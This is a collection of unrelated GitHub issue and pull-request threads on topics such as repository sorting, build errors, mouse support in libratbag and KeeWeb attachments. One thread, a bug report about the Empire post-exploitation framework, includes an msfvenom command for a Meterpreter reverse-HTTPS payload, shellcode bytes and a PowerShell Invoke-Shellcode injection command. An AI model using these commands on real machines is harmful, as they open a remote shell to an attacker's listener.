[FEATURE] Sort for repos page

Description
Currently repos are sorted by most recently active, this is good for default, but additional options would be useful

sort by stars
sort by forks
sort by push date
sort by created date

Screenshots
No response
Additional information
No response

@eddiejaoude  I would like to work on this issue, adding more sorting functionalities. Could you please assign this to me?

I can work on that

@yassineatik I have assigned this to you.

Hi @eddiejaoude , while trying to work on this feature , I face this problem on Github Api :

I have already setup the database and everything , and logged in with same github account that hosts the repo .
I don't know if I should change anything on the repos request to make this work .

Here it is :

Sorry for my slow reply @yassineatik , I missed the notification. With setting up the project locally, it is better to come and chat with us in the EddieHub Discord.
As you are having issues setting up the repo locally, let me assign this issue to someone else and we can assign you another issue when you have your local environment working.

I am happy to contribute.


Adding feedback form

🚀 Feature Request
📝 Feature Description
Create a feedback form to collect user input and improve website features. The form should include the following:
Input fields for name, email, and feedback message.
A star rating system for user satisfaction.
Form validation to ensure all fields are correctly filled before submission.
A responsive design that works seamlessly on all devices.
A success/failure message after form submission.

🚀 Feature Request
📝 Feature Description
Create a feedback form to collect user input and improve website features. The form should include the following:
Input fields for name, email, and feedback message. A star rating system for user satisfaction. Form validation to ensure all fields are correctly filled before submission. A responsive design that works seamlessly on all devices. A success/failure message after form submission.

Good idea.You can also use the backend to store the form


npm start error after git clone from github

Version
4.1.1
Test Case
https://codesandbox.io/s/n55VljYk7
Steps to reproduce

git clone https://github.com/ReactTraining/react-router.git
run lerna bootstrap
run npm start

Expected Behavior
run npm correctly
Actual Behavior
ERROR in ./modules/components/App.js
Module not found: Error: Cannot resolve 'file' or 'directory' ../../../packages/react-router-dom/BrowserRouter in /Users/enniu/toys/react-router/website/modules/components
@ ./modules/components/App.js 9:21-80
ERROR in ./modules/ReactRouterDOMShim.js
Module not found: Error: Cannot resolve 'file' or 'directory' ../../packages/react-router-dom in /Users/enniu/toys/react-router/website/modules
@ ./modules/ReactRouterDOMShim.js 6:22-64
Child html-webpack-plugin for "index.html":
Asset    Size  Chunks       Chunk Names
index.html  560 kB       0
webpack: Failed to compile.

Make sure you build all the other projects before attempting to build the website. It uses the local copy in the repo, not from npm.


Add user position to plot

Add a OPTIONAL position in the plotted map where a user provided position is plotted.
Normally this position is filled to the current ship position.
This can be used for fast referencing where in the image the ship is located in relation to the drift objects.

I would do the same reasoning as in #7: I don't think that this provides any benefit to SAR organizations. They have equipment and knowledge to navigate.

My impression of the equipment is that it is very basic.
I think a small marker with the current position and a label with datetime would be useful. But that is just my opinion and I have no SAR background.
I guess it would be best to collect some ideas for the UI and discuss these with some of the experts.

Boats need to have nautic navigation maps. These are much higher quality than our result image. Our image cannot be used for navigation.
Usually, one would extract potential target coordinates from our rendered image and transfer the target coordinates into the nautic map and/or GPS with digital map.

The marker with the ship position would provide some context to the simulation that could be useful.
E.g. if you are not on the ship and get the simulation results forwarded for evaluation. Or if you want to keep the results to document the process.
I guess in the end you would also like to compute the distance or mean distance to the potential target coordinates in nautical miles. Automation of this process and good presentation of this information could reduce errors and speedup the SAR process.


VM: Refactor StepInto, StepOver, StepOut

There seems to be two implementations for the StepInto() method.
neo-python uses it to process a single op-code and leaves the vm in a running state, if no error was found : NONE
https://github.com/CityOfZion/neo-python/blob/e806b355d98d3ac2bab2b7d71776829a3dadc3e4/neo/VM/ExecutionEngine.py#L988
While neo-vm uses it to process single op-code and if no error was found, the vm is left in a suspended state: BREAK.
https://github.com/neo-project/neo-vm/blob/2e5981cf3ea6ec1e110ece72407ba92293a6027f/src/neo-vm/ExecutionEngine.cs#L1681
In general the nomenclature for stepInto suggests that we are in debug mode, so this should be changed in the vm implementation to match

I believe we have to figure out one behavior so all VM implementation behave the same way.
Take a look at NEO sharp VM which will be used soon:
https://github.com/CityOfZion/neo-sharp/blob/development/src/NeoSharp.VM.NeoVM/ApplicationEngine.cs#L479

To be fair, the distinction between BREAK and NONE seems artificial to me, but still we need to match original VM's behavior, because tests from #196 do specify states and do use steps.


Offline mode does not persist endpoint with file, leading to data being sent to wrong endpoints

Currently offline mode saves all files into %temp%\appInsights-node folder.
We have two clients each configured with a different URL endpoint.  The URL endpoint is not saved in the offline file.
When AppInsights goes back online, the client sends the first file in the offline folder to whichever URL endpoint the client happened to be configured with. This can be different than the original endpoint intended for the data.
If this different endpoint rejects the data, then AI will re-save the file and try later.  However, if the endpoint accepts the data, then AI will delete this file and fail to deliver the offline packet to the correct endpoint.
We also see a problem with all Node.JS AppInsights apps sharing the same folder.  If an endpoint in an active client rejects an offline packet stored by a different app, then this can stop the chain of re-sending packets from this client, event though that client's packets would successfully be sent.
.NET AppInsights in contrast saves entire HTTP request in an applicationKey-specific folder when it is offline.  This solves the problem both about URL and about delivery of offline packets.

I think aligning format of the files with .NET implementation is a good idea.

It will allow to solve problems which Kevin mentioned.
It will allow .NET based applications, which use the same appKey send data on behalf of the Node.js.


s3: fix initRepo not creating index.json in some edge cases

Signed-off-by: Petu Eusebiu<EMAIL_ADDRESS>
What type of PR is this?

Which issue does this PR fix:
What does this PR do / Why do we need it:
If an issue # is not available please add repro steps and logs showing the issue:
Testing done on this change:

Automation added to e2e:

Will this break upgrades or downgrades?
Does this PR introduce any user-facing change?:

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

without the hotfix go test result:
=== RUN   TestStorageDriverStatFunction

  Validate storageDriver.Stat() and isDir() functions with zot storage API ✔✔✔✔✔{"level":"error","error":"s3aws: Path not found: /oci-repo-test/ba0bbf1a-6a0f-47d1-942f-9185e3389317/repo/testImage","dir":"/oci-repo-test/ba0bbf1a-6a0f-47d1-942f-9185e3389317/repo/testImage","caller":"/home/peusebiu/zot/pkg/storage/s3/storage.go:188","message":"unable to read directory"}
✘

Failures:

  * /home/peusebiu/zot/pkg/storage/s3/s3_test.go
  Line 297:
  Expected: nil
  Actual:   'repository: not found'

6 total assertions

  Validate storageDriver.Stat() and isDir() functions with storageDriver API ✔✔✔✔✔✔✔✔✔✔✔

17 total assertions

--- FAIL: TestStorageDriverStatFunction (0.12s)

https://github.com/distribution/distribution/issues/3620


Fixing linux installing guide

It was missing a change directory on donkeycar

Codecov Report

Merging #319 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #319   +/-   ##
======================================
  Coverage    39.1%   39.1%
======================================
  Files          27      27
  Lines        2056    2056
  Branches      226     226
======================================
  Hits          804     804
  Misses       1228    1228
  Partials       24      24

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 618b2f7...02558dc. Read the comment docs.


Fix build mistral model

One thing I noticed in the workflows was that the test section of the model server workflow for llamacpp_python is that it runs the this test section of the Makefile, meaning that the build and download-model-<model> steps happen twice. Is this considered an issue? Should I add another section to the Makefile that would let us test in 2 different ways?

we updated the model_images to contain models at /model/model.file - so this is broken: https://github.com/containers/ai-lab-recipes/actions/runs/8580500010/job/23516698385?pr=175#step:8:401 - i'm not sure why we're only seeing it now though - 👀

@Gregory-Pereira @rhatdan
when running from containerized model, everything expects the model file at /models/model.file like here: https://github.com/containers/ai-lab-recipes/actions/runs/8580500010/job/23516698385?pr=175#step:8:401
so wherever the server is looking for host-mounted model, the model-file should be renamed to model.file - this is what is broken - I will look into it tonight but I'm afk now so if you fix it first great
grep for MODEL_FILE - and we need to consistently expect the model-files at the same place (and a generic name will allow for easy switching between models)

@sallyom, I had a similar issue with the whisper model PR I introduced this morning: https://github.com/containers/ai-lab-recipes/pull/177.
I will get a fix out for this.

I have cherry-picked e5354eb0d8d7279cb2e0aeb889ece4e0c8b8972c into #179 if tests passes is it OK if we move this code there?


Link icon: content edits

The content for the link icon uses "important" several times close together:

In the case of PDF links, this can be important for people on mobile devices. They may not want to open a PDF for various reasons (use up their data, do not want to download a file, etc.). It’s also important for those who use screen readers, as it will announce, “This is a PDF file.”
If a link is both external and a PDF, only the PDF icon will appear. It’s more important to tell people they’re going to a PDF than it is to tell them that it’s not hosted on the same site.

This is a post-January launch issue to rewrite this content to decrease the use of "important".

Proposed new content:

In particular, the PDF link icon provides benefits to some groups of people. People on mobile devices may not use their data or download a file. Screen readers will also announce that the link goes to a PDF file.
If a link is both external and a PDF, only the PDF icon will appear. It’s more important to tell people they’re going to a PDF than it is to tell them that it’s not hosted on the same site.

@extinah @ashleydraper @LizNobriga @thepegisin Any thoughts about this revision to get at this thorny piece of content we deferred during launch? All edits are in the first paragraph, where I wrote around saying "important" since I thought it was more important (ha!) to convey the idea of importance in the second paragraph.
For those keeping score: grade 5 reading level, no adverbs, no passive voice, no simpler alternatives, no hard/very hard to read sentences. 🙂 (Doesn't mean there isn't room to improve though!)

I like how you've rewritten it to avoid repeated use of "important".
We could describe how it functions for screen readers earlier in our description, and include both pdf and external.
We could also explain why anyone would need to know it's a PDF before opening a link (even if that seems obvious), and then note how that specifically helps people on mobile.
Suggested language (same readability scores):

The link icon adds an icon next to links that go:

Outside your website (an external link)
To a PDF

The external link icon is a box with an arrow pointing to the upper-right corner. For people using a screen reader, it will announce the full URL.
The PDF icon is the letters PDF surrounded by a box outline. For people using a screen reader, it will announce that the link is a PDF file.
These icons tell people they are leaving the current website in some way.
Knowing that a link goes a PDF lets people decide if they want to open it. This may be helpful to people using mobile devices with limited data plans.
If a link is both external and a PDF, only the PDF icon will appear. It’s more important to tell people they’re going to a PDF than it is to tell them that it’s not hosted on the same site.

I like these changes @LizNobriga. Thank you for thinking about them!
Anyone else have revisions they'd like to suggest?

Published these changes.

Sorry so late - great updates. Nicely done.

Thanks! This is a good example of one of the types of edits we'll want to think about for content management and maintenance.


jupyter pipeline extension - move buttons and output to the bottom and rename

Some stylistic changes as per
Jira: INT-584

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Kevin Yang seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


invoke_shellcode injection of custom shellcode not working?

Empire Version
1.5
OS Information (Linux flavor, Python version)
Attacker: Kali Rolling, Python 2.7.12rc1
Victim: Win 10 Pro x86, Win7 Ent x64
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
My expectation is to be able to inject custom payloads generated with msfvenom using the invoke_shellcode function.
When using the invoke_shellcode function on one of the specified Agents only the build in shellcode paylods (http/https) are working correctly.
I generated a custom shellcode:
msfvenom -p windows/meterpreter/reverse_https LHOST=<IP_ADDRESS> LPORT=443 -b 0x00 -f ps1 > /tmp/newout
And converted it to be in the form:
0xdd,0xc7,0xd9,0x74,0x24,0xf4,0x5b,0xba,0x22,0x9d,0x5d,...    (496bytes all in all)
Included it into the module with "set Shellcode 0xdd,0xc7,0xd9,0x74,0x24,0xf4,0x5b,0xba,0x22,0x9d,0x5d,..."
And finally executed it.
I have taken care of injecting into an x86 process and at least on the win7 machine I get a "Shellcode injected" message back. No connection is thrown back to the listener.
Debugging doesn't provide me with any informations regarding the successful or unsuccessful injection and I am some kind of blind here.

Are you able to inject that shellcode using Invoke-Shellcode outside of Empire? Try testing it using the script directly and let me know what happens. You can find the script here: https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

All right, this is working correctly.
Shellcode creation: msfvenom -p windows/meterpreter/reverse_https LHOST=<IP_ADDRESS> LPORT=443 EXITFUNC=thread -f ps1 > /tmp/output
This is what I have written to convert the shellcode: http://pastebin.com/FcqZz248
The command to inject using Invoke-Shellcode and a x86 process in the same (admin) privelege level:
C:\PowerSploit-master\CodeExecution>powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Shellcode.ps1; Invoke-Shellcode -Shellcode @() -ProcessID 368}"
So we have x86 shellcode > x64 powershell cli > x86 process (cmd) to inject into.
I have exactly the same shellcode for the invike_shellcode function in Empire and this schema:
x86 shellcode > x64 powershell empire agend > x86 process (cmd) to inject into.
The inject module doesn't do anything with my custom payload which was working outside of empire. After removing it and using the build in https version of it the reverse shell is coming in promptly.
From my point of view this still looks like the only problem is the usage of the custom payload.
Best regards!

So you're saying that we just need to fix the text encoding of how the custom payload is input into the module? Do you mind suggesting an exact code fix or doing a pull request?

Closed due to lack of response.

Sorry, I didn't had the chance to reply during the last weeks.
What I was saying is that I've used the same payload for both methods - which means AFTER encoding it. Nothing was chanced. It wasn't working using invoke_shellcode but via the PowerSploit way. I have actually no idea why this is happening and it was never confirmed that this problem exists maybe so its still possible that its a fault on my side...


SPO loader routes are currently down on Gateway

Describe the bug
The loader/spo and loader/spo-df paths are currently down as both are trying to generate routerlicious tokens, which should only happen on the loader/fluid path.
To Reproduce
Steps to reproduce the behavior:

Go to https://www.r11s-wu2-ppe.prague.office-int.com/loader/spo-df/Testing12345?chaincode=<EMAIL_ADDRESS>and it shows an infinite spinner followed by a timeout

Locally running the route shows the same result with the following local error as the spo/spo-df tenant ID cannot be found in the tenants supplied by the config, but they are not needed for those routes

Expected behavior
/loader/fluid routes should be using the routerlicious host and access token and loader/spo & loader/spo-df routes should use the SP tokens
Here is the PR that resolves this (https://github.com/microsoft/FluidFramework/pull/4293)

Also looked through the Kubernetes cluster logs here<EMAIL_ADDRESS>and the logs only show the infinite redirect being logged for the loader/spo-df route

There's a series of requests that happen for the object that all 302 redirect
Sample query:
<EMAIL_ADDRESS>For the loader/fluid/ route, however, there is no 302 as the object successfully renders

Sample query:
<EMAIL_ADDRESS>


Not getting all the names of the streets, insted getting "None" Value.

I'm using this function to get the graph of the neighbourhood that i'm working on:
location_point = (-20.443167, -43.842278)
Pires = ox.graph_from_point(location_point, distance=3000,network_type='all', retain_all=True)
And using this function to print the names of the streets:
 names = Pires.edges.data('name')
print(names)
But insted of getting a list of every street name like this:

...<PHONE_NUMBER>,<PHONE_NUMBER>, 'Rodovia Presidente Juscelino Kubitschek')...

i'm getting a lot of None values on the street names like this:

(4962597940,<PHONE_NUMBER>, None)

I just want to know if there's something i can do to get all the street names.
In case there's no way to do that, how can i fill the None values by using the coordinates of the street?

I visited the OSM and realized that almost all the streets that i was getting are not named in the OSM, so i'm manually puting the street names.


Consolidate all Styling mechanisms into Ant Design's LESS

There are currently at least 4 methods of defining styles used in the application. This PR is to consolidate all of the various styles into Ant Design's LESS mechanism.

 Consolidate all Styling mechanisms into Ant Design's LESS

 Consolidate ALL styling mechanisms into LESS files


fix: add style for modifier ui-link--small

Scope  of work

Added modifier --small for UiLink

please add next time
Related issue
Close #118


Update export.py with LogsChart chart type

Added LogsChart with the tf_type of signalfx_log_view to allow this export script too handle new Logs Chart.

I have read the Code of Conduct and I hereby accept the Terms

I have read the Code of Conduct and I hereby accept the Terms

Currently the CLA workflow appears to be broken. Trying to dig up what our path forward is.
What was your previous account name? @jadbSFx  right?

@greatestusername-splunk nope! Always been joem-splunk. That's another Joe :)

All good! Thanks for the assistance! @greatestusername-splunk

recheck

recheck

I have read the Code of Conduct and I hereby accept the Terms

I have read the CLA Document and I hereby sign the CLA

I have read the Code of Conduct and I hereby accept the Terms
I have read the CLA Document and I hereby sign the CLA

@joem-splunk mind messaging jeremyh on slack?

I have read the Code of Conduct and I hereby accept the Terms
I have read the CLA Document and I hereby sign the CLA


Add support for kroto-plus (Kotlin/JVM extensions)

The kroto-plus plugin produces some extensions to the Java generated types that simplify Kotlin code interactions with protobuf and gRPC.

Closing due to lack of response


MX Master 2S support

What do you need to add support for Logitech MX Master 2S?
Currently ratbag reports some info but Piper doesn't recognize that mouse.
I would like to contribute time/testing/code(?) to make this happen, just point me to the right direction. :)
$ sudo ratbag-command info /dev/input/event17
Device 'Logitech MX Master 2S'
Capabilities: res btn-key led
Number of buttons: 8
Number of leds: 2
Profiles supported: 1
  Profile 0 (enabled) (active)
    Resolutions:
      0: 1000dpi @ 0Hz (active)
    Button: 0 type left is mapped to 'button 1'
    Button: 1 type right is mapped to 'button 2'
    Button: 2 type middle is mapped to 'button 3'
    Button: 3 type side (backward) is mapped to 'button 4'
    Button: 4 type extra (forward) is mapped to 'button 5'
    Button: 5 type unknown is mapped to 'none'
    Button: 6 type wheel ratchet mode switch is mapped to 'ratchet mode switch'
    Button: 7 type unknown is mapped to 'none'
    LED: 0 type: logo, mode: off
    LED: 1 type: logo, mode: off

same here,
I created a .device by copying the MX Master' one and changing the usb ID but can not get it to be recognized :
[sheepdestroyer@sheepora-X230 libratbag]$ ratbagctl list
No devices available.
[sheepdestroyer@sheepora-X230 libratbag]$

Well, MX Master 2S uses newer HID++ 4.5 protocol

Actually, HID++ 4.5 is still HID++ 2.0, but Logitech uses the major/minor numbers to convey more information. It should still be supported.
For the MX Master (or later) to be supported in libratbag, you need the master branch of libratbag that contains #415. Not sure how Piper will export it though.
Note that even if libratbag will now shoe the mouse, I am not sure what can be configured, as the mouse doesn't have hardware profiles, so things may be not very well supported.

Not sure how Piper will export it though.

If it isn't any special behavior (which on a quick glance it doesn't seem to be) it should just work. Otherwise, please open an issue for Piper.

I built / installed last master of both libratbag and piper on Fedora 28
I have the following profile installed (maybe it's and old test profile, dating back from my previous tries? Could that be a source of problem?) :
$ ll /usr/share/libratbag/logitech-MX-Master-2s.device
-rw-r--r--. 1 root root 148 22 nov.   2017 /usr/share/libratbag/logitech-MX-Master-2s.devic

$ cat /usr/share/libratbag/logitech-MX-Master-2s.device
# Logitech MX Master 2s
[Device]
Name=Logitech MX Master 2s
DeviceMatch=usb:046d:c52b;bluetooth:046d:b019
Driver=hidpp20
Svg=logitech-mx_master.svg

Running
$ sudo ratbagctl --verbose list
No devices available.

I tried both with the Logitec Unifying connector and with Bluetooth
Running ratbagd as a systemd service  is not better :
● ratbagd.service - Daemon to introspect and modify configurable mice
   Loaded: loaded (/usr/lib/systemd/system/ratbagd.service; disabled; vendor preset: disabled)
   Active: active (running) since Mon 2018-07-16 22:13:47 JST; 9min ago
 Main PID: 3423 (ratbagd)
    Tasks: 1 (limit: 4915)
   Memory: 1.0M
   CGroup: /system.slice/ratbagd.service
           └─3423 /usr/bin/ratbagd

juil. 16 22:13:47 sheepora-X230 systemd[1]: Starting Daemon to introspect and modify configurable mice...
juil. 16 22:13:47 sheepora-X230 systemd[1]: Started Daemon to introspect and modify configurable mice.

Unplugging / re-plugging the connector, or disconnecting / reconnecting Bluetooth is still silent that way too.
Before opening an issue for Piper, I guess I should first get to have ratbag see my device ?

yeah, piper relies on ratbag for all its data, so if ratbactl doesn't see the device, piper cannot either. Both use the same interface.
Run ratbagctl -vvv list, iirc that's the highest level of verbosity we have. And make sure the DeviceMatch line matches the vid/pid of the device (use evtest to double-check)

@whot the command is ./ratbagctl.devel -vvv list and needs to be run the build directory. If you really want to get the debug information via ratbagctl you need to start the deamon with -vvv instead. I had this problem when trying to debug my mouse.

It seems there is a detection problem on ratbag 's side.
evtest returns :
...
/dev/input/event5:	Logitech MX Master 2S
...
Select the device event number [0-18]: 5
Input driver version is 1.0.1
Input device ID: bus 0x3 vendor 0x46d product 0x4069 version 0x111
Input device name: "Logitech MX Master 2S"
...

I can confirm values with solaar which returns the following information :
Unifying Receiver
Path         : /dev/hidraw7
USB id       : 046d:c52b

MX Master 2S
Index        : 1
Wireless PID : 4069
Protocol     : HID++ 4.5

So I also tried (whithout success) changing the previously mentioned logitech-MX-Master-2s.device from :
DeviceMatch=usb:046d:c52b  : Unifying Receiver
to
DeviceMatch=usb:046d:4069  : MX Master 2S
With ratbagd service running with --verbose, disconnecting reconnecting the receiver, I only get :
   CGroup: /system.slice/ratbagd.service
           └─18300 /usr/bin/ratbagd --verbose

juil. 20 23:41:06 sheepora-X230 systemd[1]: Starting Daemon to introspect and modify configurable mice...
juil. 20 23:41:06 sheepora-X230 systemd[1]: Started Daemon to introspect and modify configurable mice.

While ratbagd is running in verbose mode, I tried :
[builddir]$ sudo ./ratbagctl.devel -vvv --verbose list
ratbag debug: driver match found: Test driver
test_device: Test device
[builddir]$

[builddir]$ sudo ./ratbagctl.devel -vvv --verbose info /dev/input/event5
ratbag debug: driver match found: Test driver
Unable to find device /dev/input/event5
[builddir]$

Sorry to be a nuisance but what is the progress on adding support to the MX Master 2S? What need's to be done? How can I help?


util/packer: added qemu and virtualbox-iso builders

I need the qemu builder as my main VM host is KVM based in my closet, I added the virtualbox-iso as I'm already downloading that particular iso, I just have to symlink it to my packer_cache, no need to download the ova.
Signed-off-by: Josh Cox<EMAIL_ADDRESS>

@joshuacox I can't say I'm keen on preseeding a vanilla ISO when there are pre-built cloud images available. It is much quicker to just modify a cloud image and export the resulting image than preseeding.
That being said, it doesn't look like Packer supports doing this currently which is a shame.
I also don't understand the logic behind adding the virtualbox-iso builder, downloading the OVA is quicker (well, based on your connection speed) than doing the preseed, can you clarify why you want to add that?

I am already downloading the same ISO for another project, and as well it is the same iso that is used in the vmware build, so if one were to be building all builders, it would be inefficient to download the ova as well as the iso for all projects.  Instead download one iso and build for all builders using the same iso.  This makes sense to me, but given if you were just building a single vm the ova might be beneficial.  I, for one, am a proponent of preseeding I think that @titanous post on December 23rd should underscore the necessity for ground up builds:
https://titanous.com/posts/docker-insecurity
I have no reason to suspect the ubuntu ova, or even ova's in general, but if I'm building for production and dev I'd rather have all builds start with something that is built straight from the god given iso,  in this case this may or may not be the canonical ( I just love the pun here ) version.

@joshuacox

it would be inefficient to download the ova as well as the iso for all projects.

The current OVA is 364M which on my machine takes ~40s to download, which is much quicker than preseeding an ISO, even when you already have the ISO downloaded (I haven't timed it, but preseeding takes at least 5 mins on my machine).

Instead download one iso and build for all builders using the same iso

If you were preseeding once, and then building for virtualbox / vmware / qemu from that single preseeded image, then yes this may be efficient, but that is not the case, each builder will do the preseed step individually.

I have no reason to suspect the ubuntu ova, or even ova's in general, but if I'm building for production and dev I'd rather have all builds start with something that is built straight from the god given iso

You are downloading the ISO from Canonical, and the cloud images are also provided by Canonical, so I see zero security benefit in downloading a verifiable ISO and preseeding it, as apposed to downloading a verifiable cloud image from the same entity.

Closing, as there has been no response from @joshuacox.

sorry didn't mean to be non-responsive.  I was just making pull requests to contribute upstream anything I might have added to your previous work.  All my changes are available here if anyone wants them:
https://github.com/joshuacox/flycker
on the other points, not going to argue, sorry if I came off as trollish, puns have no business in github issues.


Modal triggering another Modal

when a resource template displayed in a Modal itself refers to other resource templates, they pop up as additional modals.

this is/was done.


adding duckdb + excel tutorial

duckdb has an extension to read excel files: https://duckdb.org/docs/extensions/overview.html
as we did we JSON files, we should write a tutorial that shows how to query excel files

That extension just has some text formatting functions that resemble those in excel, it can't read Excel files

ah, thanks for letting us know and saving us time! 😃


autocomplete issue for < when I add blank right after <

Environment data
dotnet --info output:
Product Information:
 Version:            1.0.3
 Commit SHA-1 hash:  37224c9917

Runtime Environment:
 OS Name:     Mac OS X
 OS Version:  10.12
 OS Platform: Darwin
 RID:         osx.10.12-x64
 Base Path:   /usr/local/share/dotnet/sdk/1.0.3

VS Code version: Version 1.12.2 (1.12.2)
C# Extension version: 1.10.0

Steps to reproduce
Type in:
for (int i=0;i</when I type in blank, it autocomplete Action/)
Thanks.
like: for(int i = 0; i<Action )
Expected  behavior
for(int i = 0; i< )
if it is for loop, could you disable autocomplete for "<" ?
Actual behavior
for(int i = 0; i<Action )

Thanks! Great bug! It appears as though our completion provider is incorrectly registered to trigger on '<'.


Attachments not "attached" when dragging and dropping - Linux 64bit app

KeeWeb v1.1.2 (fb00cf5, 2016-04-10)
Environment: electron v0.37.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) KeeWeb/1.1.2 Chrome/49.0.2623.75 Electron/0.37.4 Safari/537.36
I dragged and dropped a png file on an entry using the KeeWeb linux app. Nothing happened, even the dev console showed nothing. I'm on Kubuntu 15.10 using Dolphin as file explorer.

For now, I can only confirm that it's working on ubuntu. I'll download kubuntu and try it.

I digged into it. Unfortunately, html5 drag-drop is broken in electron under kubuntu. So, there's no way to fix.
I've opened an issue in Electron: https://github.com/electron/electron/issues/5162

Drag-drop doesn't work in Chrome on KUbuntu as well, e.g. on this demo: http://html5demos.com/file-api
So, the fix might not arrive soon... First, Chrome guys will fix it; second, chrome runtime will be integrated in Electron; third, we'll switch to this new Electron version.

http://askubuntu.com/questions/718161/cant-drag-files-from-dolphin-to-chrome
https://bugs.chromium.org/p/chromium/issues/detail?id=348312

Thanks for the insights!
@antelle is there an alternative way to upload files in the keepass database? Like a "click to upload".

A button will be added in #190

As it's blocking for linux, triaged to the next release

Deployed to beta.keeweb.info, will be available in the next release

Thank you very much for the quick answers and the damn fast implementation of the solution!

At the moment we don't accept donations, while we're starting up...

Tried the beta version to upload a file. Works fine but I can only add one attachment per entry, is that as intended?

This is ux issue because the label is hidden once anything is attached. Should be fixed...

now add attachment button is always visible

Let's think it's fixed because a workaround was added. Drag-drop will work automatically, once it's fixed in upstream.

The main goal was to be able to add attachments, no matter how ;) it's absolutely fixed.


Add documentation for logger.set_level service

Description:
Add missing description for logger.set_level service in services.yaml
Checklist:

[x] The code change is tested and works locally.
[x] Local tests pass with tox. Your PR cannot be merged unless tests pass
[x] There is no commented out code in this PR.
[x] I have followed the development checklist

tested locally with success.


Add polyfill for getStats to spec.

This replaces the getStats function on RTCPeerConnection to match the
format in the spec: http://w3c.github.io/webrtc-pc/#statistics-model.

Please fix the errors from the Travis build.
@pthatcherg can probably best comment on the getStats format changes.

oops, looks like Travis has no problems with this

It did, then I fixed it. :crocodile:

should there be unit tests for this? Should I try to add them? I don't know that node actually implements the WebRTC api so maybe it doesn't make any sense or would be a headache.

Yeah, I think unit tests would be a good habit to start, now that we have the infrastructure in place.

@juberti Unittests have been added.
@phoglund please have a look at my test changes.

Sorry for the trouble, please resend this PR to the webrtc/adapter repo


react-native-git-upgrade ERROR: fatal: No remote repository specified.  Please, specify either a URL or a remote name from which new revisions should be fetched.

I have problems when trying to upgrade using react-native-git-upgrade.
First issue was same with https://github.com/facebook/react-native/issues/11578.
Unfortunately, none of the solution on that thread helped me.
So, I trying to clear yarn cache.
I run yarn cache clean
And when I trying to run react-native-git-upgrade again,
This error appear:
git-upgrade info Install the new version
error Command failed.
Exit code: 1
Command: git
Arguments: pull
Directory: C:\Users\Ando\AppData\Local\Yarn\cache\v1\.tmp\a3450fedabcb67009ae55c8f322f57b0
Output:
fatal: No remote repository specified.  Please, specify either a URL or a
remote name from which new revisions should be fetched.
git-upgrade ERR! An error occurred during upgrade:
git-upgrade ERR! Error: Command 'yarn add<EMAIL_ADDRESS><EMAIL_ADDRESS>exited with code 1:
stderr: undefinederror Command failed.
Exit code: 1
Command: git
Arguments: pull
Directory: C:\Users\Ando\AppData\Local\Yarn\cache\v1\.tmp\a3450fedabcb67009ae55c8f322f57b0
Output:
fatal: No remote repository specified.  Please, specify either a URL or a
remote name from which new revisions should be fetched.

stdout: yarn add v0.24.5
[1/4] Resolving packages...
info Visit https://yarnpkg.com/en/docs/cli/add for documentation about this command.

    at ChildProcess.child.on.code (C:/Users/Ando/AppData/Roaming/npm/node_modules/react-native-git-upgrade/cliEntry.js:58:18)
    at emitTwo (events.js:106:13)
    at ChildProcess.emit (events.js:191:7)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:215:12)
git-upgrade ERR! Restore initial sources
Note: checking out 'project-snapshot'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at adaaa8d... Project snapshot

What should I do?
My Current React Native : 0.44.0
git version 2.13.1.windows.2
Yarn version 0.24.5

@sandropoluan did you ever resolve this issue? I'm running into it with an upgrade from<EMAIL_ADDRESS>


updated dependencies

Hey @aureliosaraiva,
Thank you for the PR but we're winding down development on this javascript-specific test reporter, in favor of our new unified test-reporter: https://github.com/codeclimate/test-reporter
https://codeclimate.com/changelog/591c99570d51f6481f001291
I'd definitely recommend checking that out and migrating to it! Let us know if you have any questions.


[CHALLENGE SUBMISSION]

Please provide the following information for your submission:
What is your name (First, Last): Sumit Kharche
Where is your GitHub Repo (with your challenge solution):
https://github.com/sumitkharche/ColdStart-Challenge-2021/tree/main/challenges/challenge
What Challenge is this for (challenge number between 1 and 6): 2
(Optional) Anything else we should know? e.g., language used, location, blog post?

Location (original updated): https://orange-sand-015541510.azurestaticapps.net/
Arm template details for Azure Data Factory - https://github.com/sumitkharche/ColdStart-Challenge-2021/tree/main/challenges/challenge/arm_template

Thanks for participating in our coding challenges ❤! To claim your Raspberry PI device, please DM me on Twitter to get the link for providing your shipping details. https://twitter.com/nicktrog

Thanks a lot @ntrogh !


main.lua not found

Any ideas why I am getting this error:

luajit: cannot open main.lua: No such file or directory

I have followed the installation steps as it was here in the github. But it seems like there is no file named main.lua.

There is a main.lua script at the root of this repository. Once you have cloned, make sure to move to this directory with cd gtsrb.torch before running luajit main.lua.

Oh I was cloning a wrong directory. My bad!


feat: align outline utility classes

https://github.com/windicss/windicss/issues/593#issuecomment-1042444331 mentions to adjust the outline utilities. This PR aligns them.
Examples
.outline-2 {
  outline-width: 2px;
}

.outline-red-500 {
  --tw-outline-opacity: 1;
  outline-color: rgba(153, 27, 27, var(--tw-outline-opacity));
}

.outline-red-800\/50 {
  --tw-outline-opacity: 0.5;
  outline-color: rgba(153, 27, 27, var(--tw-outline-opacity));
}

.outline {
  outline-style: solid;
}

.outline-dashed {
  outline-style: dashed;
}

.outline-offset-1 {
  outline-offset: 1px;
}

.outline-offset-2 {
  outline-offset: 2px;
}

/* Backwards compatibility */
.outline-opacity-50 {
  --tw-outline-opacity: 0.5;
}

References

https://tailwindcss.com/docs/outline-width
https://tailwindcss.com/docs/outline-color
https://tailwindcss.com/docs/outline-style
https://tailwindcss.com/docs/outline-offset

Codecov Report

